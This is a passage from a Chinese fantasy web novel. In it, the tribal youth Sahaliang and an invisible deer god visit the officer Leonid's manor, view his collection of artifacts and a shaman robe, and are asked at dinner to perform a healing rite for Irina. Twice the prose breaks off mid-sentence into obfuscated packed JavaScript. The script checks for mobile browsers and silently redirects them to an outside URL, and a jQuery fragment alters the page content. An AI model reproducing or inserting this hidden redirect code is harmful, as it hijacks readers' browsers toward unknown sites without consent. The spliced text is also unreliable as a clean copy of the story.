里奥尼德摆了摆手,随着谈话的继续,伊琳娜也不再躲到扇子背后,这种上流女性的礼仪对她来说只不过是童年的惯性罢了,她慢慢说道: “这可是我第一次见里奥发火打人,真是吓到我了,那样子像极了他的父亲。” 里奥一般不愿意有人提他的父亲,尤其是将他们俩相比。但不知为何,在萨哈良面前显露力量的时候,竟让他感到愉悦。 “这帮整日在底层人面前耀武扬威的兵痞早就该收拾了。” 萨哈良也逐渐放松下来,先前不敢问的问题也可以说出口了。 “我想问一个问题,我们这是要去哪儿?” 里奥尼德看了看伊琳娜,两人都笑了出来,看来他们也没计划好。 “等下我们先一起吃个饭,你应该也还没找好住处吧,这个也交给我。” 萨哈良还是没明白他的意思。 “你的意思是......我自由了?不用服劳役了?” 里奥尼德笑了出来。 “服什么劳役,我说了算的,你是自由人了。” 萨哈良点了点头,然后他想到了那些农夫。 “我其实是坐伐木工的木排来的,路上碰到暴雨......或者叫暴雪,然后失事了才被士兵抓到,他认为我们是间谍。” 里奥尼德点了点头,那些兵痞靠外地人撇油水已经不是一天两天了。 “所以......被抓去的好多人只是农夫而已......能不能把他们放了?” “勤务兵!” 他听萨哈良说完,立刻喊住了正在驾驶马车的勤务兵。 “到!您指示!” “到下一个岗哨停,喊他们通知劳役放人。” 里奥尼德又看着萨哈良,问道: “还有没有别的要求?” 萨哈良被他这么命令勤务兵的动静吓了一跳,愣了会儿说道: “啊......还有我的马,我的行李也在上面。” “一块办了,送到我那去。” “是!” 离马车不远就有一个岗哨,勤务兵跳下马车,和那些卫兵交代完之后,他们连忙赶去完成里奥尼德少校的命令了。 随后马车继续行驶,萨哈良也许是因为紧张,总是不停的摩挲着扶手上的镀金饰条,眼睛也不停的向马车的内饰瞥着,当然,这很正常,毕竟它们闪闪发亮。 “喜欢这车吗?这可是帝国最好的工匠制成的,来远东的时候,里奥尼德非要把它也运来,真是个显眼包。” 注意到他的目光,伊琳娜笑着对萨哈良揶揄着里奥尼德,他也笑着看向萨哈良。 “的确巧夺天工......就像神灵驾驶的马车一样。” 萨哈良忍不住感慨到,相比起内饰布料上细密的匝线,部族的编织工艺就像抹布。 “什么神灵驾驶马车,我都是骑鹿的。” 听萨哈良这么说,鹿神在旁边说道,但他也对马车上的装饰爱不释手。 “刚刚听到你说神灵,等下吃饭的时候咱们一定要好好聊聊。” 看到里奥尼德的豪华马车上竟然坐了一位原住民长相的少年,引来许多路边行人的窃窃私语,有些胆大的甚至还指着他让同伴看。回忆起先前每次进入城镇时的待遇,萨哈良感受到地位陡然提升带来的不真实感。 鹿神坐在柔软舒适的座椅上也没有再说话,他在想着什么呢? 马车驶向乡间的土路,头顶是点点星光。两旁栽种着高大的椴树,枝桠在头顶交错,几乎遮蔽了天空,让道路显得更加幽暗,但马车前的防风灯照亮了前行的路,透过路旁的灌木,能看见衣衫褴褛的渔民趁着月光在整理渔网,车子经过时他们也回头望着。 行至林荫道的尽头,豁然开朗。 一座不算宏伟,但透着老派贵族气息的庄园别墅静静地矗立在那里。它并非帝国首都那种庄严肃穆的风格,而是带有些许新古典主义元素,外墙漆成轻佻而柔和的鹅黄色,白色的窗框和立柱在夜色中显得格外醒目。 屋顶覆盖着深色的木瓦,中央有一个小巧的阁楼。别墅只有三层,但线条优雅,几扇不算高大的窗户中透出温暖的灯火。 马车并未抵达别墅气派但略显陈旧的正门,而是绕过一片仍然泛黄的草坪,通过碎石铺就的路面,径直驶向别墅侧面带有拱顶的马车门廊。 几个戴着白色头巾的女仆从门房探出身来,她们将脚凳搬到马车前,勤务兵这时已经从马车上跳下,在一旁站的笔直。 “欢迎来到我的陋舍。” 萨哈良不知道军官是客气还是认真的,眼前这栋别墅的豪华已经让他目眩。 “里奥,下次出门还是别坐敞篷的了,有点冷。” 伊琳娜裹紧自己的大衣,摸了摸鼻子说道。她将手包递给一旁服侍的女仆,然后微微提起裙摆,轻轻的踩到凳子上,就像湿地旁的白鹭一样优雅 “哈哈,只是没想到会入夜才回来。” 一只锃亮的漆皮马靴踏在了矮脚凳上,紧接着,半披在毛皮大氅里的身影,弯着腰,从容地从车厢内探身出来。 萨哈良本来还在观察着四周的景色,里奥尼德朝他摆摆手,他一侧身就跳在了地上,把侍从们吓了一跳。 “好......好身手。” 里奥尼德也没想到他会这么做,连忙帮他打圆场。伊琳娜在一旁已经掩住嘴偷偷笑了起来,那些女仆也用好奇的目光在打量着萨哈良。 “严肃点,别给部族丢份儿!” 虽然鹿神也不懂他们这些繁琐的礼仪,但还是拍了拍他。 这下萨哈良尴尬的杵在原地。 里奥尼德朝着站在马厩旁的马夫招了招手,他立刻打开门将萨哈良的马牵了出来。 “我的马儿!” 看见自己的马,萨哈良兴奋的跑了过去,马儿也高兴的低头舔了舔他的头发,随后向后看了看,马鞍后面的行李一个不差的都在那里。 “真是匹好马。” 即便是见过诸多国家进贡的马匹,里奥尼德也忍不住夸奖。 “这可是我从小喂大的。” 萨哈良和里奥尼德一样,聊起自己喜欢的话题总是控制不住情绪。 “哈哈,真不错。伊琳,你先去休息一会,我带萨哈良去换身衣服。” 听见里奥尼德的话,伊琳娜和女仆便向着别墅正门的方向走去了,她走路时的步伐平稳,又快速,带着早春的冷风。 “船难时你的衣服泡过水了,来换身新的吧。而且,我就要忍不住向你展示我的收藏室了!” 里奥尼德说这话的时候,都快要憋不住嘴角的笑了。 一般来说,客人是要走正门的。但里奥尼德在萨哈良面前像是七八岁的小男孩,正迫不及待向他展示自己的新玩具,早就顾不得什么礼数了。 沉重的橡木大门在身后无声地合拢,隔绝了楼外清新寒冷的空气。房内瞬间只剩下一种古老的寂静,混合着地板蜡、旧木头和一丝来自遥远土地的尘埃气息。 他没有走向别墅中央那气派的宽大楼梯,而是引着萨哈良穿过一条略显昏暗的走廊。两侧挂着几幅极为写实的风景油画,描绘着山脉或是河流的景色,在墙壁灯幽暗的光线下,显得格外深沉。类似的装饰他已经在老板娘的旅店二楼见过了,但比起乡野粗鄙的画作,这些更让人沉醉,分不清是真是假。 走廊漫长而深邃,不知道走了多久,终于经过一个拐角。 他们在一扇不起眼的深色橡木门前停下,它与走廊深褐色的护墙板几乎融为一体,要不是里奥尼德伸手推开,外人很难发现。随后门轴转动,发出轻微而悠长的吱呀声,仿佛开启了一段尘封的时光。 里奥尼德伸手打开了一旁的电灯开关,当客人的眼睛适应了光线,看清房间内的景象时,即便是见多识广的鹿神,也不由得屏住了呼吸。 这里与其说是一个房间,不如说是一个精心布置的私人博物馆。 四周几乎完全被顶到天花板的深色胡桃木陈列架所覆盖,架子上没有空隙,密密麻麻的陈列着来自世界遥远角落的珍宝。 里奥尼德没有立刻说话,他让女仆去取衣服来。 “怎么样,欢迎来到我的东方角落。” 年轻的军官向前伸手,邀请萨哈良与他一同进屋。 首先映入眼帘的,是一座半人高的斗彩缠枝莲纹双耳花瓶,正矗立在紫檀木精心雕制而成的圆形底座上,白炽灯的光透过磨砂玻璃灯罩,映照得瓷器如同象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哈哈哈哈哈,就像罗马人那样吗?像他们的厕筹那样?” “骡马?人?” 萨哈良不懂什么是罗马人,歪着头向他问道。 “罗马就是西方一个遥远古国的名字,他们会把一种产自大海可以吸水的东西装在木棒上,然后,擦。” 里奥尼德也模仿萨哈良的样子,拿着木条在身后来回蹭。 “认识你太好了,萨哈良,我们这些学者研究的东西经常被称为“书斋人类学”,也就是足不出户,全凭靠想象还原着异域文化的模样,我认为这是一种傲慢。” 年轻的军官再一次举起手,萨哈良虽然没太听懂,但还是握了过去。 “主人,衣服取来了。” 里奥尼德示意女仆将衣服放到萨哈良手中,随后说道: “我大概根据你的体型让服装店送来的,等明天叫裁缝来再给你做身新的。” 随着女仆推门,闻到新鲜空气之后,房间内那股香料的味道更加清晰了,混合着淡淡的皮革味、陈年霉味,还有一种金属的冷冽气息。那是来自沙漠、雨林和高山的气味,都被浓缩在这个小小的空间里。 萨哈良躲在那扇漆金的精致屏风后面,女仆在外面等着接他换下的衣服,当他将腰带递到女仆手中时,里奥尼德看到那把仪祭刀。 “萨哈良,这是你的刀吗?” 他从屏风后面探出头,说道: “是的,这是我的刀。” 里奥尼德已经按捺不住自己的好奇,向前走了几步。 “咳......请问我可以拿起它看看吗?” 萨哈良没有立刻回答,他看了看站在旁边的鹿神,鹿神正盯着里奥尼德的眼睛。 “没关系,看吧,我也好奇这把刀在他手上会怎么样。” 经过先前几次仪祭刀显露出的神迹,萨哈良明白鹿神想知道什么。 “可以的,你看吧。” 听他这么说,里奥尼德立刻走上前去拿起了仪祭刀。 “多么神秘而朴实的工艺,我猜这三颗宝石象征了你们信仰中三种不同的力量。” “看来他确实下功夫研究过了。” 鹿神看着他痴迷的眼神说道。 “这刀刃如同冰湖凝结的波涛......想必祭品死于这刀下,也是没什么痛苦的吧。” 里奥尼德轻轻拔出刀,仔细端详着,但并没有出现刀握在萨哈良手中时的景象。 鹿神像是松了口气。 随后萨哈良换好衣服,走出了屏风。 比起小镇市场里颇有民族风味的粗陋做工,里奥尼德给他的衣服针脚细密,颜色搭配则更显高贵。 里面是一件浆洗得挺括,领口雪白的精纺亚麻衬衫,扣子恰如其分的缝到合适的高度,只露出一点点喉结。 套在衬衫外是一件深色羊毛马甲,墨绿色将萨哈良洁白的皮肤和脸上雀斑衬托得尤其突出。它剪裁合身,悄悄勾勒出他精瘦的少年身体。 女仆手中还拿着一件深藏青色的礼服,慢慢将它披到萨哈良身上。礼服的面料是厚实的精纺羊毛,款式不那么正式更显年轻,内衬结实而顺滑的绸缎接触到皮肤时,就像是恋人的手划过胸膛。 “可以,非常合适。” 萨哈良穿上新衣服,感觉有些不自在,穿上新鞋的脚在地上轻轻碾动着。那是一双浅口的深棕色皮鞋,裤脚的高度正好露出他的脚踝,皮肤细嫩,白皙的脚面上微微透出血管的浅青色,与整体深色的风格相得益彰。 里奥尼德走上前去,拿起了女仆手中的领结。 他的手修长而灵活,微微鼓起的青筋在贵族式的苍白皮肤上跳动着,每当军官带着皮革与烟草气息的手指接触到萨哈良纤细的脖颈时,温度也随之传来。 也许是领结系的太紧,萨哈良感觉有些喘不过气。 “我不久之前得到了一个宝贝,就连伊琳都没有见过。” 他露出了神秘的笑容,示意女仆离开。 “最后,向你展示我的新藏品!” 里奥尼德快步走到房屋正中,一把扯下了盖在上面的巨大帆布。 17.庄园晚宴 夜色愈沉,天上的点点星辰也不敌满月的光辉,在泛着藏蓝色的深空中,仍能窥见云海的翻腾。 穿过别墅庄园前尚未萌芽的枯萎草坪,一只黄鼬悄悄的跑过碎石铺就的道路,爪尖肉垫将石子踩出细微而清脆的响动。马厩中歇息的马匹瞪大双眼,盯着眼前这小小的不速之客,它们低下头,前蹄不停刨着地上的稻草,发出低沉的喷鼻声。 胆大的黄鼬并未被那些数倍于它大小的动物吓到,而是抬起头颅,盯着别墅主楼窗户中若隐若现的灯火。 在那灯火的源头,里奥尼德的手已经抓住了帆布的一角,房内看得见或看不见的观众一起将目光投向他那边,就像音乐剧的开场。 “尊贵的客人,我将向你展示我最新的收藏!” 即便隔着厚实的帆布,萨哈良和鹿神也看出了,在那下面藏匿着的,附在那物体上的魂灵正想解开身上的束缚。 见这小小剧场内的观众屏住了呼吸,里奥尼德用力掀起了盖布,一阵浓重的尘埃随之升腾而起,在飘忽至白炽灯昏黄的光线时泛起幽蓝色的荧光,随后消散不见。 那下面,是一件萨满的鹿皮法袍悬挂在人型的架子上,袍子上缀满了铜铃、彩色的布条和奇特的骨质护符。架子的顶端挂着装饰七彩流苏的羽冠,羽毛的根部用彩色棉线精细缠绕着,在灯光下投下张牙舞爪的巨大阴影。 “萨哈良,这里的东西……” 里奥尼德灰蓝色的瞳孔盯着萨哈良,他缓缓说道。 “它们大多来自帝国最遥远的边疆,或者更远的地方。每一件背后,都有一个故事,一片土地,一个我难以真正理解的世界。” 萨哈良没有太留意他说了什么,而是盯着法袍上的装饰。它们与萨哈良记忆中的不同,部族更偏好鲜艳的色彩,先前乌娜吉老萨满身上每一片碎布条都来自于部族内家庭的供奉。 但那些铜铃和骨符却与鹿神的神力相互呼应着,他身上的光芒愈发强烈,法袍四周也笼罩上了微光。 沉浸其中的里奥尼德并没有发现法袍的异样。 “那不是我们的袍子,他来自于极北的东方,我也未曾踏足的领地。” 鹿神走上前去,轻轻抚摸着鹿皮的肌理,继续对萨哈良说道: “但荒野就是荒野,它拥有吞噬万物的力量。一般法袍使用的材料都是通灵的好介质,它正在呼唤自己曾经的主人,想和我沟通。” 萨哈良朝鹿神点点头,里奥尼德还以为是认可了他的演说,于是又继续介绍藏品: “这件法袍,来自于新大陆的土著住民,据说那是一位法力高强的萨满,但他......” 里奥尼德顿了顿,似乎有意在隐瞒些什么。 “怎么样,我的藏品?” 听他说完,萨哈良也不知道该如何回应军官的热情,他将手叉在腰间,思考了一会儿。 “我觉得,这是一件有法力的藏品,事实上部族认为万物有灵,您房间里的每一件珍宝都想破门而出呢。” 萨哈良刚说完,就发现里奥尼德的眼神中好像闪过了一丝不安。 “啊......不会吧......真的吗?” 萨哈良没想到军官这么轻易的就相信了他的话,他和鹿神都噗嗤一声笑了出来。 “哈哈哈哈哈,骗你的,怎么会呢?” 里奥尼德扶了扶帽檐,对萨哈良说道: “哈哈,也只有你能让我轻信了,毕竟这对我来说是陌生的世界。” 萨哈良伸出脚,将鞋子在地上轻轻磕了下,硬的皮子磨得他的脚踝有些痛了,随后正色说着: “但万物有灵是真的,你要好好对待它们。” 里奥尼德没想到他会这么严肃的说,他揪了揪衣领,也严肃的说道: “我会的,相信我,萨哈良。” 年轻的军官最后看了眼那件华丽的萨满法袍,他转向萨哈良,脸上那沉浸在收藏里的专注光芒渐渐收敛,重新浮现出恰到好处的礼貌微笑。 “走吧,看看晚餐准备了什么,伊琳在那边应该等急了。” 萨哈良走出房间时,里奥尼德关上了房间内的白炽灯,屋内只剩下月光投下的阴影。那些来自世界各个角落的瑰宝如同退潮般隐入黑暗,只剩下模糊而庞大的轮廓。 他不由得再次环顾这奇异的房间,目光扫过萨满法袍上垂挂的铜铃。当鹿神也转身离去时,它们不再放出微光,只剩下沉甸甸的轮廓。 “你说话是越来越像我,现在已经会揶揄别人了,孺子可教。” 自大的神灵在一旁调笑着萨哈良,他也扭过头朝鹿神笑着。 细心的仆人悄悄将各处点亮,别墅内正灯火通明。越过拐角,是铺着厚实地毯的二楼走廊,骤然开阔的空间和脚下柔软的触感,带来一种微妙的解脱感。 但萨哈良已经熟悉了收藏室内那些绚丽的色彩,外面布置的色调竟显得有些沉郁,乏味。他开始理解为什么里奥尼德如此痴迷的爱着那间屋里的一切。 靠近别墅二楼的会客厅,寂静被打破了。取而代之的是一种由远及近的,瓷器与银器轻微碰撞的叮当声响,优雅而克制。 在那声音之下,是压低的交谈声,仆人们在为宴席做最后的准备。 空气中传来的食物香气如同一条无形的丝带,将人从精神漫游中重新拉回物质世界的享受,从神秘的东方——不,是此地,重新拉回里奥尼德故乡的餐桌。 会客厅大门旁站着里奥尼德的管家,他身姿挺拔,双手交叠置于身前,脸上是经过严格训练的恭敬。看到主人和客人走近,他微微躬身。 “少校阁下,贵客先生。” 管家的声音平稳而清晰,又不卑不亢。他的目光并未与主人和客人相对,而是礼貌地将头微微低垂。 “我的贵客,请。” 里奥尼德朝着萨哈良,半弯腰,向屋内伸出手。 萨哈良走过大门,餐厅中央,是一盏巨大的、由无数水晶棱柱组成的吊灯从天花板上垂落,如同倒悬的冰晶瀑布。 为了迎接他的到来,数十支洁白的蜡烛在灯架上燃烧着,散发出明亮的金色光芒。烛光经过水晶棱柱的折射,化作跃动的星光,洒满了整个屋顶,将每一寸镀金的装饰、每一件闪亮的银器都映照得熠熠生辉。 墙壁上又安装着几盏黄铜白炽灯,提供着辅助光源,确保会客厅内明亮如昼,不留一丝可供秘密隐匿的阴影。 他们慢慢向前走,伊琳娜坐在远处的座位上,正朝着他们微笑,时而用手帕掩住口鼻,萨哈良好像隐隐听见她的咳嗽声。 餐厅的主体是一张大到足以轻松容纳十余人的深色长桌。覆盖其上的,是一张熨烫得没有一丝褶皱的浅色桌布,垂下的边缘绣着繁复而精美的雄狮家族徽章暗纹。这洁白无瑕,是展示奢华餐具的完美画布。 萨哈良悄悄四处张望着,灯火映照得他琥珀色的瞳孔闪闪发亮,像极了好奇的小男孩。 “欢迎你,萨哈良。” 回到家中,伊琳娜早已褪去贵族女性繁琐的礼仪,不再藏在扇子之后,又变回了沙龙上的女王,起身和萨哈良握手。 里奥尼德帮萨哈良扶正沉重的高背座椅,邀请他入座到主人身旁预留的尊贵客位。 眼前食物那温暖而浓郁的香气让他眩晕,已经注意不到下面精美的银制、骨瓷和水晶制成的食器了。 那是烤至恰到好处的肉排,新鲜出炉的烤面包,浓稠醇厚的奶油蘑菇汤,精致的罐焖牛肉还有一只填满蔬菜的硕大烤鸡,水晶杯中还盛满了深紫色的葡萄酒。 “可惜啊,我没法坐下来吃。你们下次祭祀的时候,可以为我准备这些祭品吗?” 鹿神在一旁幽幽的说道。 “您太客气了,准备了这么丰盛的食物。” 萨哈良向里奥尼德和伊琳娜表示感谢,他们两个人很照顾萨哈良的感受,只是小心翼翼的观察着他是不是会用刀叉。 “还好在先前城镇的时候旅店老板娘教过我怎么使用它们。” 经过一段时间的相处,萨哈良慢慢自信了起来。 “我有些好奇,不知道会不会冒犯,你是怎么决定开始这段旅程的?” 里奥尼德一边说,一边将切成小小一块的牛肉送入口中。 “就说寻找其他部族吧,说不定能有些线索。” 鹿神飘到一旁去查看着那些精美的雕塑,转过头来对着萨哈良说道。 “啊,是因为其他的部族不知道为什么失去音信了,部族里的长老派我下山寻找他们。” “那你这一路上有没有什么有趣的见闻?” 还没等里奥尼德继续问,伊琳娜就兴奋的问着萨哈良,像是好奇的少女。看来一路上她是在努力维持着矜持的优雅。 “嗯......其实我走的不远,大概也就一千多公里吧,在城镇的时候我被神父公审过。” 看着伊琳娜已经放下了刀叉,认真听着他讲话,萨哈良便继续说道: “大概原因是治安官想夺取旅店老板娘的门铺,于是设计让小混混来闹事,结果我没忍住,把他们打了。” 萨哈良一边说一边比划着怎么将恶霸摔倒的,逗得两人都笑了起来。 “然后我就被送去神父那被审判了,还好老板娘又额外献出了自己三成的收入,他们把我驱逐出去了。” 伊琳娜朝萨哈良点点头,她说: “从你叙述的故事能看出来,观察能力很强,帝国基本就是这样的,民众-政府-神权,这三方势力相互倾轧。” 看萨哈良的表情,伊琳娜发现他好像并不理解什么是帝国。怕他没听懂,她又补充道: “那帮神棍就是这样的,借由神的名义欺负普通人。” 萨哈良也点了点头,终于轮到里奥尼德提问了: “伊琳她一向看不起这些神父。其实我有个疑问,为什么你的帝国语说得如此地道?就像本地人那样?” 军官本职的敏感让里奥尼德不禁问道。 “对呀,我也想问这个问题。”一旁的伊琳娜也附和着。 “啊......其实......其实我是山下的农夫抚养长大的,因为之前部族内发生了瘟疫,所以他们将我托付给了游商。” 鹿神在一旁紧张的看着萨哈良,还好他急中生智,编出来一个合理的答案。 “原来是这样,那你也的确是个语言天才。” 里奥尼德朝萨哈良竖起了大拇指。 萨哈良在心里快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133982|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速的思考着,生怕他们再继续追问一些难以回答的问题,必须要转移话题。 “其实我也有一个冒昧的问题,里奥尼德和伊琳娜是......夫妻吗?” 听萨哈良这么问,里奥尼德和伊琳娜互相看了一眼,两个人都笑出声来。 “哈哈哈哈,你觉得呢?” 伊琳娜微微在椅子上倾斜,对萨哈良笑着说。 “我觉得......感觉缺少一种亲密感。”萨哈良也不知道该怎么说,他只知道和阿沙的爸爸妈妈不一样。 “哈哈哈哈,你说得对,其实伊琳娜是我表妹,我们是最好的朋友。” 里奥尼德对萨哈良解释道。 “我不理解,部族里一般亲属是不会通婚的,事实上我们只会与其他部族结婚。” 萨哈良当然不理解,他也不会理解为什么伪装订婚。 “是这样的,我们两个家族之间世代通婚成了一种约定,于是我的父亲逼迫我们订婚。” 里奥尼德说完看了看伊琳娜,又接着讲道: “我还记得那天晚上,伊琳深夜派勤务兵过来猛敲我的门,通知我她已经订好了三天后的火车票。” “然后我们大开宴席,在舞会上装作恩爱,让老东西们放心,接下来的两天就一直在往火车上装里奥尼德的这些乱七八糟东西。” 伊琳娜把话头抢过来补充道。 “我还是不理解,为什么要假装恩爱?部族里从来没有发生这样的事情。”萨哈良还是不懂,疑惑的看着他们。 “不理解很正常,只需要理解我们是被逼的就可以了。” 里奥尼德笑着对萨哈良说。 “我有个问题,你们部族的婚姻是毫无限制的吗?” 听伊琳娜这么问,萨哈良想了想,好像确实没有限制,他点了点头,给出了肯定的答案。 “难道性别也没有限制吗?” 伊琳娜睁大眼睛,好奇的问着。 “嗯......确实没有,我们的老萨满就一直深爱着老祖母。” 听到萨哈良在说乌娜吉和阿娜吉,鹿神也飘了过来听着他说话。 “哇哦,真不错。”伊琳娜笑着说。 但她刚说完,一阵急促的咳嗽就打断了刚刚热络起来的席间气氛。 “咳,咳,抱歉......最近不知道怎么了,总是感觉气管像是被什么东西压着。” 她用手帕掩住口鼻,努力平稳的对大家说道。伊琳娜刚才剧烈的咳嗽碰撒了盐罐,女仆走上前悄悄清理。 “会不会是‘魔鬼的烟雾’吸多了?”里奥尼德笑着揶揄道,他边说边帮忙拍着伊琳娜的后背。 “怎么会,我还说是你今天非要开敞篷车出门导致我受凉了呢!” 伊琳娜一点也不愿意承认是香烟的问题,毕竟在写作时她离不了那个东西。 “要不要找个医生?”里奥尼德刚说完,像是想到了什么,扭头过来又对萨哈良说道: “对了,我听说部族中也分成阶层,比如说手工艺者-战士-萨满?” 萨哈良没懂他问这个是什么意思,也朝他点了点头。 “那萨哈良是什么阶层,你是不是萨满?”里奥尼德兴奋的问着萨哈良。 “啊......我还是见习萨满。”萨哈良被他这问题问的一愣。 伊琳娜拿起葡萄酒,喝了一口来缓解咳嗽,她慢慢的说道: “成为萨满大概需要学习什么?” 萨哈良见她喝了口酒,也拿起杯子说道: “先要学习口述史,然后是医术,最后是各种祭祀仪轨。” “这么说,你一定会治疗疾病了?”还没等萨哈良说完,里奥尼德就接着问道。 “会......会吧,会一点,但我那个一般是治疗外伤。” 萨哈良拿不准自己能不能胜任。 “是这样的,我们所住的这座别墅,前主人是一位商人,他在一次酒后打猎被公鹿给活活顶死了,死相很惨,据说尸体被鹿角钉在了树干上,被发现的时候那头鹿也死了。” 伊琳娜一边咳嗽一边听着里奥尼德讲故事,看起来她好像并不知道这些。 “所以,这边一直传说着那个商人的鬼魂还住在别墅里,我想会不会和这个有关?因为伊琳她最近睡眠也不好,总是做噩梦,梦见一只巨大的鹿压在房顶上。” “有......有可能吧,是鹿角妖?” 萨哈良想起来之前鹿角妖的故事。 “哈哈哈,没想到你已经听说过这个传说了,这个我稍后再和你解释。” 有些微醺的里奥尼德举起酒杯,杯中的酒映照出如血的光泽,他递到萨哈良面前。 “其实我想请你,穿上那件萨满法袍,我在庄园里为你搭起神坛,请神,给伊琳娜治病。” 萨哈良有点犹豫,他看向了一旁的鹿神,还没等鹿神回应,里奥尼德很快就拉过萨哈良的手,让他握住酒杯。 他灰蓝色的眼眸在烛光下紧紧盯着萨哈良,缓缓说着:“请为伊琳驱散那不属于她的阴霾。” “干杯!” 说完,里奥尼德又不太熟练的补上一句: “愿.....愿神灵庇佑!” 18.椴木林之舞 “里奥……不……算了吧,我觉得请医生就可以了。” 伊琳娜睁大了眼睛,对于未知神秘的领域,她感到有些害怕。 但里奥尼德没有理会她,而是继续对年轻的部族少年说道:“萨哈良,远东的医生都只会一些江湖骗术,我不能允许伊琳再被那些无照营业的医生做试验品了。” 这下轮到萨哈良不知所措了。 “啊……对了,我想起来,在木排上时,我认识了一个从你们首都来的高明医生,他叫叶甫根尼,也许我们可以试试。” 萨哈良的头脑飞速运转着,想找到婉拒里奥尼德的办法。他再次转头看向一旁的鹿神,他正扶着自己的下巴,望向远方,像是思考着什么。 但别墅的主人却朝着女仆招了招手,随即吩咐她们说道: “通知城门的卫兵,让他们尝试找到这个名叫叶甫根尼的医生。” 那些仆人们应声退下,此时会客厅内只剩下他们三个人,当然,还包括看不见的鹿神。 伊琳娜和萨哈良都以为里奥尼德真的要找医生了,他们放下心来。但不知道为什么,竟从她的眼神中读出了些许的小小失望。 萨哈良刚放下酒杯,里奥尼德的双手就握了上来。他热切的眼神映照着壁炉中的火光,酒后红晕在苍白的脸上呈现出一种病态的美感。 “萨哈良,医生我也想办法去找了,但是在他来之前,我们真的可以试试!” 里奥尼德捧着他的手,灰蓝色的瞳孔像是蒙上一层细碎雪砂的冰湖。 “就这么办吧,展现神迹,给这些罗刹鬼展现部族的骄傲。”刚才一直沉默的鹿神低声说道。 “什么?可我还是见习萨满啊!那些请神的仪轨我也只是见过而已!” 听鹿神这么说,萨哈良吃惊的脱口而出,将旁边的两人吓了一跳。 “仪什么仪轨,都是些劳什子的没用东西,我就在旁边你还打算请什么神?步骤我教给你就是了,神灵亲自教学,不比乌娜吉教你的强多了?” “没关系的,凡事都有第一次,我的第一篇论文也写得非常困难。” 两人都以为萨哈良在对自己说话,相继对他说道。 这时候,强忍住咳嗽的伊琳娜用手帕盖住嘴唇,从座椅上起身,她拿着酒杯,走到萨哈良的面前。 “没事的,萨哈良,里奥总是有一些奇思妙想,不用听他的强求自己。” “做吧,我命令你做,如此优雅美丽的女士路逢灾异,渡苦渡厄的萨满岂能束手旁观?” 伊琳娜说完,鹿神也轻佻的对萨哈良说着。 萨哈良低头看着腰间的仪祭刀,有些紧张的说道:“那......好吧,但是里奥尼德家里有请神需要的道具吗?” 听见他这么说,里奥尼德兴奋的看着萨哈良。 “好啦,叫我里奥就好。法袍、萨满鼓、香料,甚至仪祭刀我也有——当然,用你的最好。” 萨哈良没想到他对祭祀的道具了解得如数家珍,随后里奥尼德又继续问道: “需不需要准备祭品?” 靠在椅子旁的伊琳娜听到里奥这话又有些害怕了,正如鹿神所说,荒野有吞噬一切的力量。她来到远东这片陌生的土地,深夜即将来临,眼前是淹没理性与科学的黑暗,理应恐惧。 伊琳娜声音带着轻微的颤抖说道:“里奥......这样不好吧?活祭是亵神的行为......” “伊琳怎么也说起这种话了?你不是说那都是些神棍吗?”里奥尼德转头对她笑着说。 “我知道......可是......” 当她在犹豫不决的时候,萨哈良说话了。 “没事的,不需要祭品。”借着微醺的酒劲儿,做好仪式的心理准备之后,萨哈良像个诗人般大胆的说:“那狡黠的神明降下谶言,你们招待的美食已经让他心生愉悦了。” 鹿神在旁边慢慢的鼓起了掌,就像仪式开始前的鼓点。 “我越来越欣赏你了,少年。” 确是狡黠的神明,像是仲夏逗蛐蛐的小孩一样,游戏人间也是他的乐趣之一。 听到不用活祭,伊琳娜才点点头。 “管家!” 那名腰板挺直的中年男人听见主人的声音,轻轻推门走了进来,低头向里奥示意。 “准备仪式,你懂我的意思。” “这......” 管家愣在原地,直到里奥尼德厉声说道: “快去!” 虽然管家犹豫了一会,萨哈良还是很奇怪那管家为什么能这么快理解里奥尼德的所有指令,就好像他已经为今晚预演过很多次了一样。 “不瞒你说,萨哈良,为了今晚的表演——不不不,祭祀,我已经准备了好久,没想到我竟然真的有幸亲眼得见。” 里奥尼德已经激动的难以掩饰,他又喝了一点酒,用手轻轻抚摸着自己的胸前,试图平息太过激烈的心跳。 “唉,你没当成学者真是帝国的损失,瞧瞧,哪儿像个军官!” 伊琳娜的咳嗽因为刚才火热的气氛减缓了许多,她的手扶住了额头,作出一副恨铁不成钢的样子。 “成为学者很难吗?我觉得以里奥的好奇心,应该什么都能学明白才对。” 在酒精的作用下,萨哈良的眼睛在烛火后也是闪闪发亮。里奥尼德盯着他的瞳孔,那美丽得如同经了露水的琥珀,听到他说出“里奥”时,脸上露出了发自内心的笑容。 “我也这么觉得。但萨哈良,你要知道人世间有无法违抗的事物,那就是命运。” 说完这句话,里奥尼德的眼睛微微黯淡了,不再映照着那两枚晶莹的琥珀。 “命运?即便神明也无法违背吗?”萨哈良看了看鹿神的方向,鹿神沉默了一会,说道:“你还年轻。” “好了。” 里奥尼德摩挲了一把因为红酒而些微发麻的脸庞,他张开口打断了关于命运的讨论。 “让我们把酒喝干,准备仪式!” 因为刚刚聊得那些复杂的问题,萨哈良还没来得及品尝桌上那些美妙的食物。请神祭祀是一项颇为耗费体力的活动,索性也不再礼貌了,他风卷残云一般消灭了桌上的饭菜。 里奥尼德和伊琳娜两个人看着他偷偷笑着,一边啜饮杯中的美酒。 满月高悬在别墅屋顶的天空上,星光黯淡。那些仆人们关闭了庄园里的大多数光源,他们高举着火把,悄无声息的布置着仪式现场。 